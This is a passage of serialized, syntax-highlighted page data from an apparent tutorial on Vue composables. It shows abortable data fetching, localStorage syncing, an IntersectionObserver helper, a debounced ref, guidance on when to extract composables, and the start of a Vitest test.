onUnmounted",[88,1369,1370],{"class":98},"(disconnect)\n",[88,1372,1374],{"class":90,"line":1373},59,[88,1375,116],{"emptyLinePlaceholder":115},[88,1377,1379,1381],{"class":90,"line":1378},60,[88,1380,194],{"class":94},[88,1382,452],{"class":98},[88,1384,1386,1389,1392],{"class":90,"line":1385},61,[88,1387,1388],{"class":98}," status: ",[88,1390,1391],{"class":131},"readonly",[88,1393,1394],{"class":98},"(status),\n",[88,1396,1398,1401,1403],{"class":90,"line":1397},62,[88,1399,1400],{"class":98}," lastMessage: ",[88,1402,1391],{"class":131},[88,1404,1405],{"class":98},"(lastMessage),\n",[88,1407,1409],{"class":90,"line":1408},63,[88,1410,1411],{"class":98}," send,\n",[88,1413,1415],{"class":90,"line":1414},64,[88,1416,1417],{"class":98}," disconnect,\n",[88,1419,1421],{"class":90,"line":1420},65,[88,1422,1423],{"class":98}," connect,\n",[88,1425,1427],{"class":90,"line":1426},66,[88,1428,523],{"class":98},[88,1430,1432],{"class":90,"line":1431},67,[88,1433,211],{"class":98},[19,1435,1436],{},"This composable:",[583,1438,1439,1442,1445,1448,1454],{},[586,1440,1441],{},"Has a single, clear responsibility (WebSocket connection management)",[586,1443,1444],{},"Handles its own lifecycle (connects on mount, disconnects on unmount)",[586,1446,1447],{},"Exposes a minimal surface area (only what callers need)",[586,1449,1450,1451,1453],{},"Returns reactive state as ",[40,1452,1391],{}," to prevent callers from bypassing the composable's logic",[586,1455,1456],{},"Is fully self-contained — the WebSocket logic does not leak into the component",[26,1458,1460],{"id":1459},"composable-patterns-from-production","Composable Patterns From Production",[1462,1463,1465],"h3",{"id":1464},"async-data-with-abort","Async Data With Abort",[19,1467,1468],{},"Any composable that fetches data should support aborting in-flight requests when the component unmounts or the input changes:",[79,1470,1472],{"className":81,"code":1471,"language":83,"meta":84,"style":84},"export function useUser(userId: MaybeRefOrGetter\u003Cstring>) {\n const user = ref\u003CUser | null>(null)\n const loading = ref(false)\n const error = ref\u003Cstring | null>(null)\n\n watchEffect(async (onCleanup) => {\n const controller = new AbortController()\n onCleanup(() => controller.abort())\n\n loading.value = true\n error.value = null\n\n try {\n const id = toValue(userId)\n user.value = await $fetch(`/api/users/${id}`, {\n signal: controller.signal,\n })\n } catch (e) {\n if (e instanceof Error && e.name !== 'AbortError') {\n error.value = e.message\n }\n } finally {\n loading.value = false\n }\n })\n\n return { user: readonly(user), loading: readonly(loading), error: readonly(error) }\n}\n",[40,1473,1474,1502,1528,1546,1571,1575,1595,1611,1630,1634,1644,1653,1657,1664,1679,1703,1708,1713,1723,1750,1759,1763,1772,1781,1785,1789,1793,1815],{"__ignoreMap":84},[88,1475,1476,1479,1481,1484,1486,1489,1491,1494,1496,1499],{"class":90,"line":91},[88,1477,1478],{"class":94},"export",[88,1480,128],{"class":94},[88,1482,1483],{"class":131}," useUser",[88,1485,135],{"class":98},[88,1487,1488],{"class":138},"userId",[88,1490,142],{"class":94},[88,1492,1493],{"class":131}," MaybeRefOrGetter",[88,1495,157],{"class":98},[88,1497,1498],{"class":145},"string",[88,1500,1501],{"class":98},">) {\n",[88,1503,1504,1506,1509,1511,1513,1515,1518,1520,1522,1524,1526],{"class":90,"line":112},[88,1505,169],{"class":94},[88,1507,1508],{"class":145}," user",[88,1510,175],{"class":94},[88,1512,825],{"class":131},[88,1514,157],{"class":98},[88,1516,1517],{"class":131},"User",[88,1519,833],{"class":94},[88,1521,898],{"class":145},[88,1523,849],{"class":98},[88,1525,877],{"class":145},[88,1527,855],{"class":98},[88,1529,1530,1532,1535,1537,1539,1541,1544],{"class":90,"line":119},[88,1531,169],{"class":94},[88,1533,1534],{"class":145}," loading",[88,1536,175],{"class":94},[88,1538,825],{"class":131},[88,1540,135],{"class":98},[88,1542,1543],{"class":145},"false",[88,1545,855],{"class":98},[88,1547,1548,1550,1553,1555,1557,1559,1561,1563,1565,1567,1569],{"class":90,"line":166},[88,1549,169],{"class":94},[88,1551,1552],{"class":145}," error",[88,1554,175],{"class":94},[88,1556,825],{"class":131},[88,1558,157],{"class":98},[88,1560,1498],{"class":145},[88,1562,833],{"class":94},[88,1564,898],{"class":145},[88,1566,849],{"class":98},[88,1568,877],{"class":145},[88,1570,855],{"class":98},[88,1572,1573],{"class":90,"line":191},[88,1574,116],{"emptyLinePlaceholder":115},[88,1576,1577,1580,1582,1584,1586,1589,1591,1593],{"class":90,"line":208},[88,1578,1579],{"class":131}," watchEffect",[88,1581,135],{"class":98},[88,1583,125],{"class":94},[88,1585,717],{"class":98},[88,1587,1588],{"class":138},"onCleanup",[88,1590,728],{"class":98},[88,1592,731],{"class":94},[88,1594,452],{"class":98},[88,1596,1597,1599,1602,1604,1606,1609],{"class":90,"line":509},[88,1598,169],{"class":94},[88,1600,1601],{"class":145}," controller",[88,1603,175],{"class":94},[88,1605,971],{"class":94},[88,1607,1608],{"class":131}," AbortController",[88,1610,1325],{"class":98},[88,1612,1613,1616,1619,1621,1624,1627],{"class":90,"line":520},[88,1614,1615],{"class":131}," onCleanup",[88,1617,1618],{"class":98},"(() ",[88,1620,731],{"class":94},[88,1622,1623],{"class":98}," controller.",[88,1625,1626],{"class":131},"abort",[88,1628,1629],{"class":98},"())\n",[88,1631,1632],{"class":90,"line":526},[88,1633,116],{"emptyLinePlaceholder":115},[88,1635,1636,1639,1641],{"class":90,"line":532},[88,1637,1638],{"class":98}," loading.value ",[88,1640,805],{"class":94},[88,1642,1643],{"class":145}," true\n",[88,1645,1646,1649,1651],{"class":90,"line":815},[88,1647,1648],{"class":98}," error.value ",[88,1650,805],{"class":94},[88,1652,903],{"class":145},[88,1654,1655],{"class":90,"line":858},[88,1656,116],{"emptyLinePlaceholder":115},[88,1658,1659,1662],{"class":90,"line":882},[88,1660,1661],{"class":94}," try",[88,1663,452],{"class":98},[88,1665,1666,1668,1671,1673,1676],{"class":90,"line":906},[88,1667,169],{"class":94},[88,1669,1670],{"class":145}," id",[88,1672,175],{"class":94},[88,1674,1675],{"class":131}," toValue",[88,1677,1678],{"class":98},"(userId)\n",[88,1680,1681,1684,1686,1688,1691,1693,1696,1699,1701],{"class":90,"line":936},[88,1682,1683],{"class":98}," user.value ",[88,1685,805],{"class":94},[88,1687,178],{"class":94},[88,1689,1690],{"class":131}," $fetch",[88,1692,135],{"class":98},[88,1694,1695],{"class":105},"`/api/users/${",[88,1697,1698],{"class":98},"id",[88,1700,366],{"class":105},[88,1702,369],{"class":98},[88,1704,1705],{"class":90,"line":941},[88,1706,1707],{"class":98}," signal: controller.signal,\n",[88,1709,1710],{"class":90,"line":952},[88,1711,1712],{"class":98}," })\n",[88,1714,1715,1717,1720],{"class":90,"line":963},[88,1716,802],{"class":98},[88,1718,1719],{"class":94},"catch",[88,1721,1722],{"class":98}," (e) {\n",[88,1724,1725,1727,1730,1733,1736,1739,1742,1745,1748],{"class":90,"line":979},[88,1726,1122],{"class":94},[88,1728,1729],{"class":98}," (e ",[88,1731,1732],{"class":94},"instanceof",[88,1734,1735],{"class":131}," Error",[88,1737,1738],{"class":94}," &&",[88,1740,1741],{"class":98}," e.name ",[88,1743,1744],{"class":94},"!==",[88,1746,1747],{"class":105}," 'AbortError'",[88,1749,774],{"class":98},[88,1751,1752,1754,1756],{"class":90,"line":984},[88,1753,1648],{"class":98},[88,1755,805],{"class":94},[88,1757,1758],{"class":98}," e.message\n",[88,1760,1761],{"class":90,"line":1002},[88,1762,523],{"class":98},[88,1764,1765,1767,1770],{"class":90,"line":1012},[88,1766,802],{"class":98},[88,1768,1769],{"class":94},"finally",[88,1771,452],{"class":98},[88,1773,1774,1776,1778],{"class":90,"line":1017},[88,1775,1638],{"class":98},[88,1777,805],{"class":94},[88,1779,1780],{"class":145}," false\n",[88,1782,1783],{"class":90,"line":1022},[88,1784,523],{"class":98},[88,1786,1787],{"class":90,"line":1043},[88,1788,1712],{"class":98},[88,1790,1791],{"class":90,"line":1064},[88,1792,116],{"emptyLinePlaceholder":115},[88,1794,1795,1797,1800,1802,1805,1807,1810,1812],{"class":90,"line":1075},[88,1796,194],{"class":94},[88,1798,1799],{"class":98}," { user: ",[88,1801,1391],{"class":131},[88,1803,1804],{"class":98},"(user), loading: ",[88,1806,1391],{"class":131},[88,1808,1809],{"class":98},"(loading), error: ",[88,1811,1391],{"class":131},[88,1813,1814],{"class":98},"(error) }\n",[88,1816,1817],{"class":90,"line":1083},[88,1818,211],{"class":98},[19,1820,1821,1822,1824,1825,1828,1829,1831],{},"The ",[40,1823,1588],{}," callback inside ",[40,1826,1827],{},"watchEffect"," runs when the effect re-runs (because ",[40,1830,1488],{}," changed) or when the component unmounts. Aborting previous requests prevents race conditions where a fast second request resolves before a slow first request, leaving the old data on screen.",[1462,1833,1835],{"id":1834},"local-storage-sync","Local Storage Sync",[79,1837,1839],{"className":81,"code":1838,"language":83,"meta":84,"style":84},"export function useLocalStorage\u003CT>(key: string, defaultValue: T) {\n const storedValue = localStorage.getItem(key)\n const parsed = storedValue ? JSON.parse(storedValue) : defaultValue\n\n const value = ref\u003CT>(parsed)\n\n watch(value, (newValue) => {\n localStorage.setItem(key, JSON.stringify(newValue))\n }, { deep: true })\n\n return value\n}\n",[40,1840,1841,1876,1894,1923,1927,1944,1948,1965,1984,1994,1998,2005],{"__ignoreMap":84},[88,1842,1843,1845,1847,1850,1852,1855,1857,1860,1862,1864,1866,1869,1871,1874],{"class":90,"line":91},[88,1844,1478],{"class":94},[88,1846,128],{"class":94},[88,1848,1849],{"class":131}," useLocalStorage",[88,1851,157],{"class":98},[88,1853,1854],{"class":131},"T",[88,1856,849],{"class":98},[88,1858,1859],{"class":138},"key",[88,1861,142],{"class":94},[88,1863,146],{"class":145},[88,1865,483],{"class":98},[88,1867,1868],{"class":138},"defaultValue",[88,1870,142],{"class":94},[88,1872,1873],{"class":131}," T",[88,1875,774],{"class":98},[88,1877,1878,1880,1883,1885,1888,1891],{"class":90,"line":112},[88,1879,169],{"class":94},[88,1881,1882],{"class":145}," storedValue",[88,1884,175],{"class":94},[88,1886,1887],{"class":98}," localStorage.",[88,1889,1890],{"class":131},"getItem",[88,1892,1893],{"class":98},"(key)\n",[88,1895,1896,1898,1901,1903,1906,1909,1911,1913,1915,1918,1920],{"class":90,"line":119},[88,1897,169],{"class":94},[88,1899,1900],{"class":145}," parsed",[88,1902,175],{"class":94},[88,1904,1905],{"class":98}," storedValue ",[88,1907,1908],{"class":94},"?",[88,1910,1053],{"class":145},[88,1912,393],{"class":98},[88,1914,1058],{"class":131},[88,1916,1917],{"class":98},"(storedValue) ",[88,1919,142],{"class":94},[88,1921,1922],{"class":98}," defaultValue\n",[88,1924,1925],{"class":90,"line":166},[88,1926,116],{"emptyLinePlaceholder":115},[88,1928,1929,1931,1933,1935,1937,1939,1941],{"class":90,"line":191},[88,1930,169],{"class":94},[88,1932,172],{"class":145},[88,1934,175],{"class":94},[88,1936,825],{"class":131},[88,1938,157],{"class":98},[88,1940,1854],{"class":131},[88,1942,1943],{"class":98},">(parsed)\n",[88,1945,1946],{"class":90,"line":208},[88,1947,116],{"emptyLinePlaceholder":115},[88,1949,1950,1953,1956,1959,1961,1963],{"class":90,"line":509},[88,1951,1952],{"class":131}," watch",[88,1954,1955],{"class":98},"(value, (",[88,1957,1958],{"class":138},"newValue",[88,1960,728],{"class":98},[88,1962,731],{"class":94},[88,1964,452],{"class":98},[88,1966,1967,1969,1972,1975,1977,1979,1981],{"class":90,"line":520},[88,1968,1887],{"class":98},[88,1970,1971],{"class":131},"setItem",[88,1973,1974],{"class":98},"(key, ",[88,1976,1253],{"class":145},[88,1978,393],{"class":98},[88,1980,1258],{"class":131},[88,1982,1983],{"class":98},"(newValue))\n",[88,1985,1986,1989,1992],{"class":90,"line":526},[88,1987,1988],{"class":98}," }, { deep: ",[88,1990,1991],{"class":145},"true",[88,1993,1712],{"class":98},[88,1995,1996],{"class":90,"line":532},[88,1997,116],{"emptyLinePlaceholder":115},[88,1999,2000,2002],{"class":90,"line":815},[88,2001,194],{"class":94},[88,2003,2004],{"class":98}," value\n",[88,2006,2007],{"class":90,"line":858},[88,2008,211],{"class":98},[19,2010,2011],{},"Usage:",[79,2013,2015],{"className":81,"code":2014,"language":83,"meta":84,"style":84},"const theme = useLocalStorage\u003C'light' | 'dark'>('theme', 'light')\n// Changing theme.value automatically persists to localStorage\n",[40,2016,2017,2050],{"__ignoreMap":84},[88,2018,2019,2022,2025,2027,2029,2031,2034,2036,2039,2041,2044,2046,2048],{"class":90,"line":91},[88,2020,2021],{"class":94},"const",[88,2023,2024],{"class":145}," theme",[88,2026,175],{"class":94},[88,2028,1849],{"class":131},[88,2030,157],{"class":98},[88,2032,2033],{"class":105},"'light'",[88,2035,833],{"class":94},[88,2037,2038],{"class":105}," 'dark'",[88,2040,849],{"class":98},[88,2042,2043],{"class":105},"'theme'",[88,2045,483],{"class":98},[88,2047,2033],{"class":105},[88,2049,855],{"class":98},[88,2051,2052],{"class":90,"line":112},[88,2053,2054],{"class":346},"// Changing theme.value automatically persists to localStorage\n",[1462,2056,2058],{"id":2057},"intersection-observer-lazy-loading","Intersection Observer (Lazy Loading)",[79,2060,2062],{"className":81,"code":2061,"language":83,"meta":84,"style":84},"export function useIntersectionObserver(\n target: MaybeRefOrGetter\u003CElement | null>,\n callback: IntersectionObserverCallback,\n options: IntersectionObserverInit = {}\n) {\n const isIntersecting = ref(false)\n let observer: IntersectionObserver | null = null\n\n const stopObserving = watchEffect(() => {\n const el = toValue(target)\n if (!el) return\n\n observer = new IntersectionObserver((entries) => {\n isIntersecting.value = entries[0]?.isIntersecting ?? false\n callback(entries, observer!)\n }, options)\n\n observer.observe(el)\n })\n\n onUnmounted(() => {\n observer?.disconnect()\n stopObserving()\n })\n\n return { isIntersecting: readonly(isIntersecting) }\n}\n",[40,2063,2064,2076,2097,2109,2124,2128,2145,2165,2169,2186,2200,2215,2219,2242,2262,2273,2278,2282,2293,2297,2301,2311,2321,2327,2331,2335,2347],{"__ignoreMap":84},[88,2065,2066,2068,2070,2073],{"class":90,"line":91},[88,2067,1478],{"class":94},[88,2069,128],{"class":94},[88,2071,2072],{"class":131}," useIntersectionObserver",[88,2074,2075],{"class":98},"(\n",[88,2077,2078,2081,2083,2085,2087,2090,2092,2094],{"class":90,"line":112},[88,2079,2080],{"class":138}," target",[88,2082,142],{"class":94},[88,2084,1493],{"class":131},[88,2086,157],{"class":98},[88,2088,2089],{"class":131},"Element",[88,2091,833],{"class":94},[88,2093,898],{"class":145},[88,2095,2096],{"class":98},">,\n",[88,2098,2099,2102,2104,2107],{"class":90,"line":119},[88,2100,2101],{"class":138}," callback",[88,2103,142],{"class":94},[88,2105,2106],{"class":131}," IntersectionObserverCallback",[88,2108,287],{"class":98},[88,2110,2111,2114,2116,2119,2121],{"class":90,"line":166},[88,2112,2113],{"class":138}," options",[88,2115,142],{"class":94},[88,2117,2118],{"class":131}," IntersectionObserverInit",[88,2120,175],{"class":94},[88,2122,2123],{"class":98}," {}\n",[88,2125,2126],{"class":90,"line":191},[88,2127,774],{"class":98},[88,2129,2130,2132,2135,2137,2139,2141,2143],{"class":90,"line":208},[88,2131,169],{"class":94},[88,2133,2134],{"class":145}," isIntersecting",[88,2136,175],{"class":94},[88,2138,825],{"class":131},[88,2140,135],{"class":98},[88,2142,1543],{"class":145},[88,2144,855],{"class":98},[88,2146,2147,2149,2152,2154,2157,2159,2161,2163],{"class":90,"line":509},[88,2148,885],{"class":94},[88,2150,2151],{"class":98}," observer",[88,2153,142],{"class":94},[88,2155,2156],{"class":131}," IntersectionObserver",[88,2158,833],{"class":94},[88,2160,898],{"class":145},[88,2162,175],{"class":94},[88,2164,903],{"class":145},[88,2166,2167],{"class":90,"line":520},[88,2168,116],{"emptyLinePlaceholder":115},[88,2170,2171,2173,2176,2178,2180,2182,2184],{"class":90,"line":526},[88,2172,169],{"class":94},[88,2174,2175],{"class":145}," stopObserving",[88,2177,175],{"class":94},[88,2179,1579],{"class":131},[88,2181,1618],{"class":98},[88,2183,731],{"class":94},[88,2185,452],{"class":98},[88,2187,2188,2190,2193,2195,2197],{"class":90,"line":532},[88,2189,169],{"class":94},[88,2191,2192],{"class":145}," el",[88,2194,175],{"class":94},[88,2196,1675],{"class":131},[88,2198,2199],{"class":98},"(target)\n",[88,2201,2202,2204,2206,2209,2212],{"class":90,"line":815},[88,2203,1122],{"class":94},[88,2205,717],{"class":98},[88,2207,2208],{"class":94},"!",[88,2210,2211],{"class":98},"el) ",[88,2213,2214],{"class":94},"return\n",[88,2216,2217],{"class":90,"line":858},[88,2218,116],{"emptyLinePlaceholder":115},[88,2220,2221,2224,2226,2228,2230,2233,2236,2238,2240],{"class":90,"line":882},[88,2222,2223],{"class":98}," observer ",[88,2225,805],{"class":94},[88,2227,971],{"class":94},[88,2229,2156],{"class":131},[88,2231,2232],{"class":98},"((",[88,2234,2235],{"class":138},"entries",[88,2237,728],{"class":98},[88,2239,731],{"class":94},[88,2241,452],{"class":98},[88,2243,2244,2247,2249,2252,2255,2258,2260],{"class":90,"line":906},[88,2245,2246],{"class":98}," isIntersecting.value ",[88,2248,805],{"class":94},[88,2250,2251],{"class":98}," entries[",[88,2253,2254],{"class":145},"0",[88,2256,2257],{"class":98},"]?.isIntersecting ",[88,2259,200],{"class":94},[88,2261,1780],{"class":145},[88,2263,2264,2266,2269,2271],{"class":90,"line":936},[88,2265,2101],{"class":131},[88,2267,2268],{"class":98},"(entries, observer",[88,2270,2208],{"class":94},[88,2272,855],{"class":98},[88,2274,2275],{"class":90,"line":941},[88,2276,2277],{"class":98}," }, options)\n",[88,2279,2280],{"class":90,"line":952},[88,2281,116],{"emptyLinePlaceholder":115},[88,2283,2284,2287,2290],{"class":90,"line":963},[88,2285,2286],{"class":98}," observer.",[88,2288,2289],{"class":131},"observe",[88,2291,2292],{"class":98},"(el)\n",[88,2294,2295],{"class":90,"line":979},[88,2296,1712],{"class":98},[88,2298,2299],{"class":90,"line":984},[88,2300,116],{"emptyLinePlaceholder":115},[88,2302,2303,2305,2307,2309],{"class":90,"line":1002},[88,2304,1367],{"class":131},[88,2306,1618],{"class":98},[88,2308,731],{"class":94},[88,2310,452],{"class":98},[88,2312,2313,2316,2319],{"class":90,"line":1012},[88,2314,2315],{"class":98}," observer?.",[88,2317,2318],{"class":131},"disconnect",[88,2320,1325],{"class":98},[88,2322,2323,2325],{"class":90,"line":1017},[88,2324,2175],{"class":131},[88,2326,1325],{"class":98},[88,2328,2329],{"class":90,"line":1022},[88,2330,1712],{"class":98},[88,2332,2333],{"class":90,"line":1043},[88,2334,116],{"emptyLinePlaceholder":115},[88,2336,2337,2339,2342,2344],{"class":90,"line":1064},[88,2338,194],{"class":94},[88,2340,2341],{"class":98}," { isIntersecting: ",[88,2343,1391],{"class":131},[88,2345,2346],{"class":98},"(isIntersecting) }\n",[88,2348,2349],{"class":90,"line":1075},[88,2350,211],{"class":98},[1462,2352,2354],{"id":2353},"debounced-value","Debounced Value",[79,2356,2358],{"className":81,"code":2357,"language":83,"meta":84,"style":84},"export function useDebouncedRef\u003CT>(value: MaybeRefOrGetter\u003CT>, delay = 300) {\n const debouncedValue = ref\u003CT>(toValue(value))\n let timeout: ReturnType\u003Ctypeof setTimeout>\n\n watch(\n () => toValue(value),\n (newValue) => {\n clearTimeout(timeout)\n timeout = setTimeout(() => {\n debouncedValue.value = newValue\n }, delay)\n }\n )\n\n onUnmounted(() => clearTimeout(timeout))\n\n return readonly(debouncedValue)\n}\n",[40,2359,2360,2399,2422,2440,2444,2450,2461,2473,2481,2496,2506,2511,2515,2520,2524,2537,2541,2551],{"__ignoreMap":84},[88,2361,2362,2364,2366,2369,2371,2373,2375,2378,2380,2382,2384,2386,2389,2392,2394,2397],{"class":90,"line":91},[88,2363,1478],{"class":94},[88,2365,128],{"class":94},[88,2367,2368],{"class":131}," useDebouncedRef",[88,2370,157],{"class":98},[88,2372,1854],{"class":131},[88,2374,849],{"class":98},[88,2376,2377],{"class":138},"value",[88,2379,142],{"class":94},[88,2381,1493],{"class":131},[88,2383,157],{"class":98},[88,2385,1854],{"class":131},[88,2387,2388],{"class":98},">, ",[88,2390,2391],{"class":138},"delay",[88,2393,175],{"class":94},[88,2395,2396],{"class":145}," 300",[88,2398,774],{"class":98},[88,2400,2401,2403,2406,2408,2410,2412,2414,2416,2419],{"class":90,"line":112},[88,2402,169],{"class":94},[88,2404,2405],{"class":145}," debouncedValue",[88,2407,175],{"class":94},[88,2409,825],{"class":131},[88,2411,157],{"class":98},[88,2413,1854],{"class":131},[88,2415,849],{"class":98},[88,2417,2418],{"class":131},"toValue",[88,2420,2421],{"class":98},"(value))\n",[88,2423,2424,2426,2429,2431,2433,2435,2437],{"class":90,"line":119},[88,2425,885],{"class":94},[88,2427,2428],{"class":98}," timeout",[88,2430,142],{"class":94},[88,2432,916],{"class":131},[88,2434,157],{"class":98},[88,2436,921],{"class":94},[88,2438,2439],{"class":98}," setTimeout>\n",[88,2441,2442],{"class":90,"line":166},[88,2443,116],{"emptyLinePlaceholder":115},[88,2445,2446,2448],{"class":90,"line":191},[88,2447,1952],{"class":131},[88,2449,2075],{"class":98},[88,2451,2452,2454,2456,2458],{"class":90,"line":208},[88,2453,995],{"class":98},[88,2455,731],{"class":94},[88,2457,1675],{"class":131},[88,2459,2460],{"class":98},"(value),\n",[88,2462,2463,2465,2467,2469,2471],{"class":90,"line":509},[88,2464,717],{"class":98},[88,2466,1958],{"class":138},[88,2468,728],{"class":98},[88,2470,731],{"class":94},[88,2472,452],{"class":98},[88,2474,2475,2478],{"class":90,"line":520},[88,2476,2477],{"class":131}," clearTimeout",[88,2479,2480],{"class":98},"(timeout)\n",[88,2482,2483,2486,2488,2490,2492,2494],{"class":90,"line":526},[88,2484,2485],{"class":98}," timeout ",[88,2487,805],{"class":94},[88,2489,1144],{"class":131},[88,2491,1618],{"class":98},[88,2493,731],{"class":94},[88,2495,452],{"class":98},[88,2497,2498,2501,2503],{"class":90,"line":532},[88,2499,2500],{"class":98}," debouncedValue.value ",[88,2502,805],{"class":94},[88,2504,2505],{"class":98}," newValue\n",[88,2507,2508],{"class":90,"line":815},[88,2509,2510],{"class":98}," }, delay)\n",[88,2512,2513],{"class":90,"line":858},[88,2514,523],{"class":98},[88,2516,2517],{"class":90,"line":882},[88,2518,2519],{"class":98}," )\n",[88,2521,2522],{"class":90,"line":906},[88,2523,116],{"emptyLinePlaceholder":115},[88,2525,2526,2528,2530,2532,2534],{"class":90,"line":936},[88,2527,1367],{"class":131},[88,2529,1618],{"class":98},[88,2531,731],{"class":94},[88,2533,2477],{"class":131},[88,2535,2536],{"class":98},"(timeout))\n",[88,2538,2539],{"class":90,"line":941},[88,2540,116],{"emptyLinePlaceholder":115},[88,2542,2543,2545,2548],{"class":90,"line":952},[88,2544,194],{"class":94},[88,2546,2547],{"class":131}," readonly",[88,2549,2550],{"class":98},"(debouncedValue)\n",[88,2552,2553],{"class":90,"line":963},[88,2554,211],{"class":98},[19,2556,2557],{},"Usage in a search component:",[79,2559,2563],{"className":2560,"code":2561,"language":2562,"meta":84,"style":84},"language-vue shiki shiki-themes github-dark","\u003Cscript setup lang=\"ts\">\nconst searchInput = ref('')\nconst debouncedSearch = useDebouncedRef(searchInput, 400)\n\n// Only fires the API call after typing stops for 400ms\nconst { data: results } = useAsyncData(\n () => `search-${debouncedSearch.value}`,\n () => $fetch(`/api/search?q=${debouncedSearch.value}`),\n { watch: [debouncedSearch] }\n)\n\u003C/script>\n","vue",[40,2564,2565,2587,2605,2624,2628,2633,2655,2675,2699,2704,2708],{"__ignoreMap":84},[88,2566,2567,2569,2573,2576,2579,2581,2584],{"class":90,"line":91},[88,2568,157],{"class":98},[88,2570,2572],{"class":2571},"s4JwU","script",[88,2574,2575],{"class":131}," setup",[88,2577,2578],{"class":131}," lang",[88,2580,805],{"class":98},[88,2582,2583],{"class":105},"\"ts\"",[88,2585,2586],{"class":98},">\n",[88,2588,2589,2591,2594,2596,2598,2600,2603],{"class":90,"line":112},[88,2590,2021],{"class":94},[88,2592,2593],{"class":145}," searchInput",[88,2595,175],{"class":94},[88,2597,825],{"class":131},[88,2599,135],{"class":98},[88,2601,2602],{"class":105},"''",[88,2604,855],{"class":98},[88,2606,2607,2609,2612,2614,2616,2619,2622],{"class":90,"line":119},[88,2608,2021],{"class":94},[88,2610,2611],{"class":145}," debouncedSearch",[88,2613,175],{"class":94},[88,2615,2368],{"class":131},[88,2617,2618],{"class":98},"(searchInput, ",[88,2620,2621],{"class":145},"400",[88,2623,855],{"class":98},[88,2625,2626],{"class":90,"line":166},[88,2627,116],{"emptyLinePlaceholder":115},[88,2629,2630],{"class":90,"line":191},[88,2631,2632],{"class":346},"// Only fires the API call after typing stops for 400ms\n",[88,2634,2635,2637,2639,2641,2643,2646,2648,2650,2653],{"class":90,"line":208},[88,2636,2021],{"class":94},[88,2638,781],{"class":98},[88,2640,720],{"class":138},[88,2642,281],{"class":98},[88,2644,2645],{"class":145},"results",[88,2647,802],{"class":98},[88,2649,805],{"class":94},[88,2651,2652],{"class":131}," useAsyncData",[88,2654,2075],{"class":98},[88,2656,2657,2659,2661,2664,2667,2669,2671,2673],{"class":90,"line":509},[88,2658,995],{"class":98},[88,2660,731],{"class":94},[88,2662,2663],{"class":105}," `search-${",[88,2665,2666],{"class":98},"debouncedSearch",[88,2668,393],{"class":105},[88,2670,2377],{"class":98},[88,2672,366],{"class":105},[88,2674,287],{"class":98},[88,2676,2677,2679,2681,2683,2685,2688,2690,2692,2694,2696],{"class":90,"line":520},[88,2678,995],{"class":98},[88,2680,731],{"class":94},[88,2682,1690],{"class":131},[88,2684,135],{"class":98},[88,2686,2687],{"class":105},"`/api/search?q=${",[88,2689,2666],{"class":98},[88,2691,393],{"class":105},[88,2693,2377],{"class":98},[88,2695,366],{"class":105},[88,2697,2698],{"class":98},"),\n",[88,2700,2701],{"class":90,"line":526},[88,2702,2703],{"class":98}," { watch: [debouncedSearch] }\n",[88,2705,2706],{"class":90,"line":532},[88,2707,855],{"class":98},[88,2709,2710,2713,2715],{"class":90,"line":815},[88,2711,2712],{"class":98},"\u003C/",[88,2714,2572],{"class":2571},[88,2716,2586],{"class":98},[26,2718,2720],{"id":2719},"when-not-to-use-a-composable","When Not to Use a Composable",[19,2722,2723],{},"Not every piece of logic needs to be a composable. The overhead of creating a composable — naming it, designing its API, writing its documentation — is only worth it when the logic is genuinely reused or when the encapsulation is meaningful.",[19,2725,2726],{},"Keep logic inline in the component when:",[583,2728,2729,2732,2735],{},[586,2730,2731],{},"It is only used in one place and unlikely to be reused",[586,2733,2734],{},"It is simple enough that a composable adds more indirection than clarity",[586,2736,2737],{},"It is tightly coupled to that specific component's template logic",[19,2739,2740],{},"Move to a composable when:",[583,2742,2743,2746,2749,2752],{},[586,2744,2745],{},"The same logic appears in two or more components",[586,2747,2748],{},"The logic involves lifecycle hooks that need cleanup",[586,2750,2751],{},"The logic is complex enough that the component gets hard to read",[586,2753,2754],{},"The logic is independently testable and tested",[26,2756,2758],{"id":2757},"testing-composables","Testing Composables",[19,2760,2761],{},"Composables are the most testable part of a Vue application. They are just functions — no DOM needed for most of them:",[79,2763,2765],{"className":81,"code":2764,"language":83,"meta":84,"style":84},"import { describe, it, expect } from 'vitest'\n\nDescribe('useDebouncedRef', () => {\n it('debounces value changes', async () => {\n const source = ref('initial')\n const debounced = useDebouncedRef(source, 100)\n\n expect(debounced.value).toBe('initial')\n\n source.value = 'changed'\n expect(debounced.value).toBe('initial') // Not yet updated\n\n await new Promise(resolve => setTimeout(resolve, 150))\n expect(debounced.value).toBe('changed') // Now updated\n })\n})\n",[40,2766,2767,2779,2783,2800,2820,2838,2857,2861,2878,2882,2892,2909,2913,2940,2958,2962],{"__ignoreMap":84},[88,2768,2769,2771,2774,2776],{"class":90,"line":91},[88,2770,95],{"class":94},[88,2772,2773],{"class":98}," { describe, it, expect } ",[88,2775,102],{"class":94},[88,2777,2778],{"class":105}," 'vitest'\n",[88,2780,2781],{"class":90,"line":112},[88,2782,116],{"emptyLinePlaceholder":115},[88,2784,2785,2788,2790,2793,2796,2798],{"class":90,"line":119},[88,2786,2787],{"class":131},"Describe",[88,2789,135],{"class":98},[88,2791,2792],{"class":105},"'useDebouncedRef'",[88,2794,2795],{"class":98},", () ",[88,2797,731],{"class":94},[88,2799,452],{"class":98},[88,2801,2802,2805,2807,2810,2812,2814,2816,2818],{"class":90,"line":166},[88,2803,2804],{"class":131}," it",[88,2806,135],{"class":98},[88,2808,2809],{"class":105},"'debounces value changes'",[88,2811,483],{"class":98},[88,2813,125],{"class":94},[88,2815,995],{"class":98},[88,2817,731],{"class":94},[88,2819,452],{"class":98},[88,2821,2822,2824,2827,2829,2831,2833,2836],{"class":90,"line":191},[88,2823,169],{"class":94},[88,2825,2826],{"class":145}," source",[88,2828,175],{"class":94},[88,2830,825],{"class":131},[88,2832,135],{"class":98},[88,2834,2835],{"class":105},"'initial'",[88,2837,855],{"class":98},[88,2839,2840,2842,2845,2847,2849,2852,2855],{"class":90,"line":208},[88,2841,169],{"class":94},[88,2843,2844],{"class":145}," debounced",[88,2846,175],{"class":94},[88,2848,2368],{"class":131},[88,2850,2851],{"class":98},"(source, ",[88,2853,2854],{"class":145},"100",[88,2856,855],{"class":98},[88,2858,2859],{"class":90,"line":509},[88,2860,116],{"emptyLinePlaceholder":115},[88,2862,2863,2866,2869,2872,2874,2876],{"class":90,"line":520},[88,2864,2865],{"class":131}," 